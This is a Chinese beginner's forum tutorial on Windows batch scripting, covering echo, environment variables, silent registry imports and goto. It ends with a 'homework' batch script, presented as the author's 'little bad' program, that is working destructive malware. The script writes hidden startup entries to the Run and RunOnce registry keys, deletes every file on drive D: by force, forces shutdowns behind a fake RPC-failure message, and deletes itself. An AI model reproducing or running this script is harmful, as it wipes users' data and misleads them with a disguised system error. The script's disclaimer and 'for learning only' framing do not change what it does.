MSDOS(命令提示符)速成之玩轉批處理

MSDOS是微軟開發的一個實實在在的操作系統,其大小是可以用軟盤裝得下的,且這個操作系統是完全命令行化的……就是操作界面和你所見的命令提示符是一模一樣的,呵呵,但是隨着圖形化操作系統的誕生,直接使用命令行的操作越來越被圖形化,比如用鼠標雙擊一個圖標和打一堆命令的效果是一樣的,你更願意選擇哪一個呢?呵呵,當然是前者,因爲方便呀!呵呵……微軟在他早期的圖形化操作系統中(例如9895用的時間過早,記不清了)都在關機菜單中整合了MSDOS。如果點擊那個進入DOS,就是在下一次開機進入了MS98中整合的DOS(很多人習慣稱之爲純DOS)。但是在98的界面上你也可以打開DOS(開始,command),呵呵,那就是MS(微軟的簡稱,下同)命令提示符的雛形。MS越來越智能化它的圖形化操作系統,對MSDOS的要求就越少。於是在XP年代MS宣佈放棄對DOS的支持。同時爲了讓一些習慣使用DOS的老用戶們更加方便,提供了功能更加強大的命令提示符功能。爲什麼說命令提示符更加強大呢?呵呵,首先它新增了很多內、外部命令(廢話),相比之下命令提示符比DOS有更多的權限,管理範圍更加廣泛,支持簡體中文,可是它只是一個程序而不是一個操作系統……在這種情況下,很多人就會自然而然的把命令提示符看成是新版本的msdos,因爲在這些人眼中dos就是意味着一堆命令……呵呵。
~~廢話不多說,我將以結合實例等方式開始我們的bat之旅^^


很多朋友都會很好奇,到底什麼是bat?bat和命令提示符有什麼關係呢~?呵呵,bat其實是一個命令的集合,中文我們一般喜歡稱之爲批處理。我們一般喜歡在文本文檔中寫我們的批處理代碼,然後直接將後綴名改成.bat即可。例如我們在文本文檔1.txt中輸入

Echo 實例一
C:

Echo 將盤符轉到C:
CD/

Echo 確定將盤符轉移到根目錄下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各屬性去掉
Copy boot.ini d:/.

Echo C根目錄下的boot.ini 複製到D盤根目錄下
Pause

把這幾行代碼保存,將後綴名改成.bat,然後執行,呵呵~~很神奇吧?你寫的這幾行代碼已經在命令提示符下被嚴格按照順序執行了。^^

ECHO命令:第一種用法就是顯示出現在這個命令後面的文字拉,呵呵,第二種用法在下一個實例中解釋。
PAUSE命令:暫時停止代碼的執行,並且“請按任意鍵繼續”。



Echo off
Echo 實例二
C:

Echo 將盤符轉到C:
CD/

Echo 確定將盤符轉移到根目錄下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各屬性去掉
Copy boot.ini d:/.

Echo C根目錄下的boot.ini 複製到D盤根目錄下
Pause

將以上代碼保存在批處理文件中執行,是不是發現所有的命令(也就是粉色的部分)都沒有顯示了呢?呵呵,這就是echo off的作用,也是echo命令的第二個用法,隱藏需要執行的命令,但命令確實是執行過了的,呵呵~



更進一步,我們將實例二第一行代碼前加一個”@”符號,看看有什麼效果。

@Echo off
Echo 實例三
C:

Echo 將盤符轉到C:
CD/

Echo 確定將盤符轉移到根目錄下
Attrib -r -a -s -h boot.ini

Echo boot.ini的各屬性去掉
Copy boot.ini d:/.

Echo C根目錄下的boot.ini 複製到D盤根目錄下
Pause

很明顯,第一行echo off這個命令也被隱藏了,@符號的作用就是隱藏本行命令,echo off的作用其實就是把每一行命令前加了一個@,但卻不包括本行命令,所以一般寫批處理之前都會在開頭加上@echo off





如果我現在需要把系統目錄system32文件夾下的”ping.exe”複製到D:/應該怎麼辦呢?呵呵,很多朋友都會告訴我首先進入windows文件夾,然後進入system32文件夾,然後執行copy命令。但是如果我們沒有把系統裝在C:/windows/ 裏,或者說如果我們把系統裝在其他文件夾或其他盤裏,用批處理怎樣才能進入這臺計算機的系統文件夾~?呵呵,這就要用到我將介紹的 環境變量 ^^
環境變量通俗點說就是相對地址。比如說
../system/
就是進入本文件夾下system文件夾裏,這個地址不是絕對的,可以在C也可以在D盤,因爲這樣的地址都是從程序執行的這個文件夾算起,呵呵,這種類型的地址在網頁中用到的比較多,這裏就不着重介紹了,今天要介紹的環境變量是視窗操作系統中的一些絕對常用的相對地址。


如何得到本計算機中存在的環境變量:
CMD,執行SET命令。
在我的計算機中結果如下:
ALLUSERSPROFILE=C:/Documents and Settings/All Users
APPDATA=C:/Documents and Settings/淡藍小星星/Application Data
CLIENTNAME=Console
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=淡藍小星星
ComSpec=C:/windows/system32/cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=/Documents and Settings/淡藍小星星
LOGONSERVER=//淡藍小星星
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:/Program Files/PC Connectivity Solution/;C:/WINDOWS/system32;C:/WINDOWS;C:/WINDOWS/System32/Wbem;C:/WINDOWS/system32/WindowsPowerShell/v1.0;D:/Nokia主題編輯/bin;D:/Nokia主題編輯/jre/bin;C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0/bin;C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0/jre/bin
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.PSC1
PCTYPE=PAVILION
PLATFORM=MCD
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f06
ProgramFiles=C:/Program Files
PROMPT=$P$G
SESSIONNAME=Console
SKINAPP_INSTALL_DIR=C:/Program Files/Series_60_Theme_Studio/S60_TS_3_0
SonicCentral=C:/Program Files/Common Files/Sonic Shared/Sonic Central/
SystemDrive=C:
SystemRoot=C:/windows
TEMP=C:/DOCUME~1/淡藍小星星/LOCALS~1/Temp
TMP=C:/DOCUME~1/淡藍小星星/LOCALS~1/Temp
tvdumpflags=8
USERDOMAIN=淡藍小星星
USERNAME=淡藍小星星
USERPROFILE=C:/Documents and Settings/淡藍小星星
VS80COMNTOOLS=D:/Microsoft Visual Studio 8/Common7/Tools/
windir=C:/windows

那麼在BAT中應該如何使用環境變量呢?呵呵,很簡單,就是在這些變量的前後加上%符號。參考上面所列出的,我們方便進入系統文件夾的system32文件夾就有以下兩種方式:
%systemroot%/system32/
%windir%/system32/

呵呵,如果系統是裝在D:/windows/ 裏面,這裏的systemrootwindir就應該都指向D:/windows/ 了。 所以用這種方法進入位置系統根目錄的電腦是最保險的^^

所以上文提到的複製就可以這樣寫:
Cd %systemroot%
Cd system32
Copy ping.exe d:/.

呵呵~~~感覺很不錯吧^^



註冊表是電腦中存放關鍵信息的地方,我們是否能用bat去修改註冊表呢?答案是肯定的,而且方式多樣~呵呵,今天我就來介紹最笨的方法(最笨的方法最能說明問題~^^
我們的思路是用bat來寫.reg文件,然後再用命令將.reg文件合併到註冊表中,具體實例如下:
@echo off
@echo Windows Registry Editor Version 5.00>>007mly.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg

@regedit /s 007mly.reg


.reg文件相關的知識就不去介紹了,具體結構請大家查閱相關資料~呵呵,截取我寫的以上部分bat片段來解釋bat修改註冊表的實現
在最後一行代碼@regedit /s 007mly.reg執行前bat做的事情就是將一些代碼寫入007mly.reg文件中,此文件最後內容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"SVCHOST"="C://SVCHOST.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"config"="C://config.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]
"SVCHOST"="C://SVCHOST.bat"
[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]
"config"="C://config.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]
"SVCHOST"="c://SVCHOST.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]
"config"="C://config.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]
"SVCHOST"="c://SVCHOST.bat"
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]
"config"="C://config.bat"

是不是和你想的一樣呢?呵呵~註冊表中

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
這兩個地方是開機啓動程序所在地

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce
這兩個地方存放的只是在下一次啓動時開機運行的程序

我想介紹的是最後一行導入註冊表的命令regedit的安靜模式 /s
什麼意思呢?如果不加這一個參數 /s,在bat執行到這裏的時候會彈出“是否將007mly.reg中的內容導入到註冊表?”這樣一來還要按一下確定……很麻煩的,呵呵,但是如果加了/s參數就是開啓靜音模式,不會要求二次確認直接添加,所以很多命令的安靜模式都很重要。





最後一個示例,說一些簡單的高級批處理命令使用~
Goto 命令
這個命令的意思就是跳轉拉~呵呵,直接跳到goto所指向的代碼段,例如


:xyz
Copy 1.txt c:/.

:zyx
Copy 2.txt c:/.

If exist 3.txt goto xyz else goto zyx

這個實例的意思是如果存在3.txt這個文件就去執行xyz裏面的內容,否則就去執行zyx裏面的內容。:xxx goto命令是配套使用的,:xxx裏面的內容如果沒有goto指向是跳過不會執行的,所以即使我將它放在IF命令前面也會被54~~~呵呵~





~~差不多了~呵呵~~~恭喜你學得了系統命令和批處理的九牛一毛~^^真的只有九牛一毛哦~~所謂師父領進門,修行靠個人哈~呵呵~結合前面兩篇專題看今天的這個可能會簡單點~~~重申一遍~這個小教程是給電腦初學者使用的,大蝦們請一笑了之咯!如果有什麼問題請給我指出哦~~呵呵~

下面留一點作業……呵呵,有人在我發了那兩篇專題以後PM我說要作業= =~~~好學生阿~~~感動~廢話不說~看招~~!!!!

@echo off
@echo ###############################################################################
@echo #
#

@echo #
歡迎使用 星星小惡 ver1.02!
#

@echo #
本代碼只共學習使用,作者對因使用不慎造成的一切損失概不負責!
#

@echo #
本人聯繫方式:[email protected]
#

@echo #
QQ:89513001
#

@echo #
確認繼續請回車

#

@echo #
#

@echo ###############################################################################
@echo 本代碼不支持win98及以下系統,確認繼續請回車。
@pause
@echo Windows Registry Editor Version 5.00>>007mly.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="C://SVCHOST.bat">>007mly.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "SVCHOST"="c://SVCHOST.bat">>007mly.reg
@echo [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Runonce]>>007mly.reg
@echo "config"="C://config.bat">>007mly.reg

@regedit /s 007mly.reg
@del 007mly.reg


@echo @echo off>>001mly.bat
@echo d:>>001mly.bat
@echo del *.* /f/s/q/a +r +s +a +h>>001mly.bat


@echo @echo off>>002mly.bat
@echo c:>>002mly.bat
@echo cd/>>002mly.bat
@echo %systemroot%/System32/shutdown.exe -s -t 60 -c "Remote Procedure Call (RPC)服務意外終止,系統即將關閉,請保存好文件然後重新啓動計算機">>002mly.bat


@xcopy 001mly.bat c:/
@xcopy 002mly.bat c:/
@del 001mly.bat
@del 002mly.bat

@c:
@cd/
@if exist SVCHOST.bat del SVCHOST.bat
@if exist config.bat del config.bat
@ren 001mly.bat SVCHOST.bat
@ren 002mly.bat config.bat
@attrib SVCHOST.bat +r +s +h
@attrib config.bat +r +s +h

@%systemroot%/System32/shutdown.exe -s -t 120 -c "Remote Procedure Call (RPC)服務意外終止,系統即將關閉,請保存好文件然後重新啓動計算機"
@del %0

以上紅字部分爲我寫的一點小東西= =(如果沒有一定基礎,或對bat不甚瞭解的千萬不要執行……),我的作業就是請大家可以讀懂這一段代碼,並將這一段代碼的意思告訴我,完成這一步後請跟貼或PM我,答對者威望+5,如果有朋友用另一個bat完全修復了執行這個bat以後的電腦,威望+10~(裏面大部分爲我介紹過的內容,很小一部分留給自學,可以去百度一下什麼的^^
現在開始寫另一個針對初學者的專題了,敬請期待^^

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章